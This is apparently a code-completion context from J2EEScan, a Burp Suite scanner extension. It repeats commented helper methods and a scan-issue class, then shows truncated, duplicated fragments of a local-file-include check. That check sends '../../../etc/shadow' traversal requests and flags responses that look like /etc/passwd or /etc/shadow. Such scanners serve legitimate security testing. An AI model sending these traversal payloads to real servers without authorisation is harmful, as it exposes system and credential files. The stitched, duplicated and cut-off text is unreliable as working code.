// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
//     final byte[] STRUTS_PATTERN = "<struts".getBytes();
//     List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
// 
//     return (matchesStruts.size() > 0);
// }
// 
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
//     final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
//     final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
//     List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
// 
//     if (matchesPasswd1.size() > 0) {
//         List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
//         if (matchesPasswd2.size() > 0) {
//             return true;
//         }
//     }
// 
//     return false;
// }
// 
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
//     final byte[] SHADOW_PATTERN = "root:".getBytes();
//     List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
// 
//     return (matchesShadow.size() > 0);
// }
// 
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
//     final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
//     List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
// 
//     return (matchesIbmweb.size() > 0);
// }
// 
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
//     final byte[] SPRING_PATTERN = "<beans".getBytes();
//     List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
// 
//     return (matchesStruts.size() > 0);
// }
// 
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
// 
//     private IHttpService httpService;
//     private URL url;
//     private IHttpRequestResponse httpMessages;
//     private String name;
//     private String detail;
//     private Risk severity;
//     private String remedy;
//     private Confidence confidence = Confidence.Certain;
//     
//     public CustomScanIssue(
//             IHttpService httpService,
//             URL url,
//             IHttpRequestResponse httpMessages,
//             String name,
//             String detail,
//             String remedy,
//             Risk severity,
//             Confidence confidence) {
//         this.httpService = httpService;
//         this.url = url;
//         this.httpMessages = httpMessages;
//         this.name = "J2EEScan - " + name;
//         this.detail = detail;
//         this.remedy = remedy;
//         this.severity = severity;
//         this.confidence = confidence;
//     }      
//     
// 
//     @Override
//     public URL getUrl() {
//         return url;
//     }
// 
//     @Override
//     public String getIssueName() {
//         return name;
//     }
// 
//     @Override
//     public int getIssueType() {
//         return 0;
//     }
// 
//     @Override
//     public String getSeverity() {
//         return severity.toString();
//     }
// 
//     @Override
//     // "Certain", "Firm" or "Tentative"
//     public String getConfidence() {
//         return confidence.toString();
//     }
// 
//     @Override
//     public String getIssueBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getRemediationBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getIssueDetail() {
//         return detail;
//     }
// 
//     @Override
//     public String getRemediationDetail() {
//         return remedy;
//     }
// 
//     @Override
//     public IHttpRequestResponse[] getHttpMessages() {
//         return new IHttpRequestResponse[]{httpMessages};
//     }
// 
//     @Override
//     public IHttpService getHttpService() {
//         return httpService;
//     }
// 
// }


import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List;

            IHttpRequestResponse passwdRequestResponse = cb.makeHttpRequest(
                    baseRequestResponse.getHttpService(), helpers.stringToBytes(passwdLFIRequest));
            byte[] passwdResponse = passwdRequestResponse.getResponse();

            if (isEtcPasswdFile(passwdResponse, helpers)) {
                cb.addScanIssue(new CustomScanIssue(
                        baseRequestResponse.getHttpService(),
                        requestInfo.getUrl(),
                        passwdRequestResponse,
                        "Local File Include - /etc/passwd Retrieved",
                        "J2EEScan was able to retrieve the <i>/etc/passwd</i> resource through the LFI vulnerability",
                        "Analyse the issue to understand if the vulnerability is caused by an infrastructure component or by an application issue.",
                        Risk.High,
                        Confidence.Firm
                ));
            }
        } catch (Exception ex) {
            ex.printStackTrace(stderr);
        }

        // Try to retrieve /etc/shadow file     
        try {
            String shadowLFIRequest = requestToString.replace(baseConfigFile,
                    helpers.urlEncode("../../../../../../../../../../../../../../../etc/shadow"));

            IHttpRequestResponse shadowRequestResponse = cb.makeHttpRequest(
                    baseRequestResponse.getHttpService(), helpers.stringToBytes(shadowLFIRequest));
            byte[] shadowResponse = shadowRequestResponse.getResponse();

// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isApacheStrutsConfigFile(byte[] response, IExtensionHelpers helpers) {
//     final byte[] STRUTS_PATTERN = "<struts".getBytes();
//     List<int[]> matchesStruts = getMatches(response, STRUTS_PATTERN, helpers);
// 
//     return (matchesStruts.size() > 0);
// }
// 
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
//     final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
//     final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
//     List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
// 
//     if (matchesPasswd1.size() > 0) {
//         List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
//         if (matchesPasswd2.size() > 0) {
//             return true;
//         }
//     }
// 
//     return false;
// }
// 
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcShadowFile(byte[] response, IExtensionHelpers helpers) {
//     final byte[] SHADOW_PATTERN = "root:".getBytes();
//     List<int[]> matchesShadow = getMatches(response, SHADOW_PATTERN, helpers);
// 
//     return (matchesShadow.size() > 0);
// }
// 
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isIBMWSBinding(byte[] response, IExtensionHelpers helpers) {
//     final byte[] IBMWEB_PATTERN = "<webservices-bnd".getBytes();
//     List<int[]> matchesIbmweb = getMatches(response, IBMWEB_PATTERN, helpers);
// 
//     return (matchesIbmweb.size() > 0);
// }
// 
// Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isSpringContextConfigFile(byte[] response, IExtensionHelpers helpers) {
//     final byte[] SPRING_PATTERN = "<beans".getBytes();
//     List<int[]> matchesStruts = getMatches(response, SPRING_PATTERN, helpers);
// 
//     return (matchesStruts.size() > 0);
// }
// 
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
// 
//     private IHttpService httpService;
//     private URL url;
//     private IHttpRequestResponse httpMessages;
//     private String name;
//     private String detail;
//     private Risk severity;
//     private String remedy;
//     private Confidence confidence = Confidence.Certain;
//     
//     public CustomScanIssue(
//             IHttpService httpService,
//             URL url,
//             IHttpRequestResponse httpMessages,
//             String name,
//             String detail,
//             String remedy,
//             Risk severity,
//             Confidence confidence) {
//         this.httpService = httpService;
//         this.url = url;
//         this.httpMessages = httpMessages;
//         this.name = "J2EEScan - " + name;
//         this.detail = detail;
//         this.remedy = remedy;
//         this.severity = severity;
//         this.confidence = confidence;
//     }      
//     
// 
//     @Override
//     public URL getUrl() {
//         return url;
//     }
// 
//     @Override
//     public String getIssueName() {
//         return name;
//     }
// 
//     @Override
//     public int getIssueType() {
//         return 0;
//     }
// 
//     @Override
//     public String getSeverity() {
//         return severity.toString();
//     }
// 
//     @Override
//     // "Certain", "Firm" or "Tentative"
//     public String getConfidence() {
//         return confidence.toString();
//     }
// 
//     @Override
//     public String getIssueBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getRemediationBackground() {
//         return null;
//     }
// 
//     @Override
//     public String getIssueDetail() {
//         return detail;
//     }
// 
//     @Override
//     public String getRemediationDetail() {
//         return remedy;
//     }
// 
//     @Override
//     public IHttpRequestResponse[] getHttpMessages() {
//         return new IHttpRequestResponse[]{httpMessages};
//     }
// 
//     @Override
//     public IHttpService getHttpService() {
//         return httpService;
//     }
// 
// }


// Path: src/main/java/burp/J2EELFIRetriever.java
import static burp.HTTPMatcher.isApacheStrutsConfigFile;
import static burp.HTTPMatcher.isEtcPasswdFile;
import static burp.HTTPMatcher.isEtcShadowFile;
import static burp.HTTPMatcher.isIBMWSBinding;
import static burp.HTTPMatcher.isSpringContextConfigFile;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.io.PrintWriter;
import java.util.Arrays;
import java.util.List;


            IHttpRequestResponse passwdRequestResponse = cb.makeHttpRequest(
                    baseRequestResponse.getHttpService(), helpers.stringToBytes(passwdLFIRequest));
            byte[] passwdResponse = passwdRequestResponse.getResponse();

            if (isEtcPasswdFile(passwdResponse, helpers)) {
                cb.addScanIssue(new CustomScanIssue(
                        baseRequestResponse.getHttpService(),
                        requestInfo.getUrl(),
                        passwdRequestResponse,
                        "Local File Include - /etc/passwd Retrieved",
                        "J2EEScan was able to retrieve the <i>/etc/passwd</i> resource through the LFI vulnerability",
                        "Analyse the issue to understand if the vulnerability is caused by an infrastructure component or by an application issue.",
                        Risk.High,
                        Confidence.Firm
                ));
            }
        } catch (Exception ex) {
            ex.printStackTrace(stderr);
        }

        // Try to retrieve /etc/shadow file     
        try {
            String shadowLFIRequest = requestToString.replace(baseConfigFile,
                    helpers.urlEncode("../../../../../../../../../../../../../../../etc/shadow"));

            IHttpRequestResponse shadowRequestResponse = cb.makeHttpRequest(
                    baseRequestResponse.getHttpService(), helpers.stringToBytes(shadowLFIRequest));
            byte[] shadowResponse = shadowRequestResponse.getResponse();

            if (isEtcShadowFile(shadowResponse, helpers)) {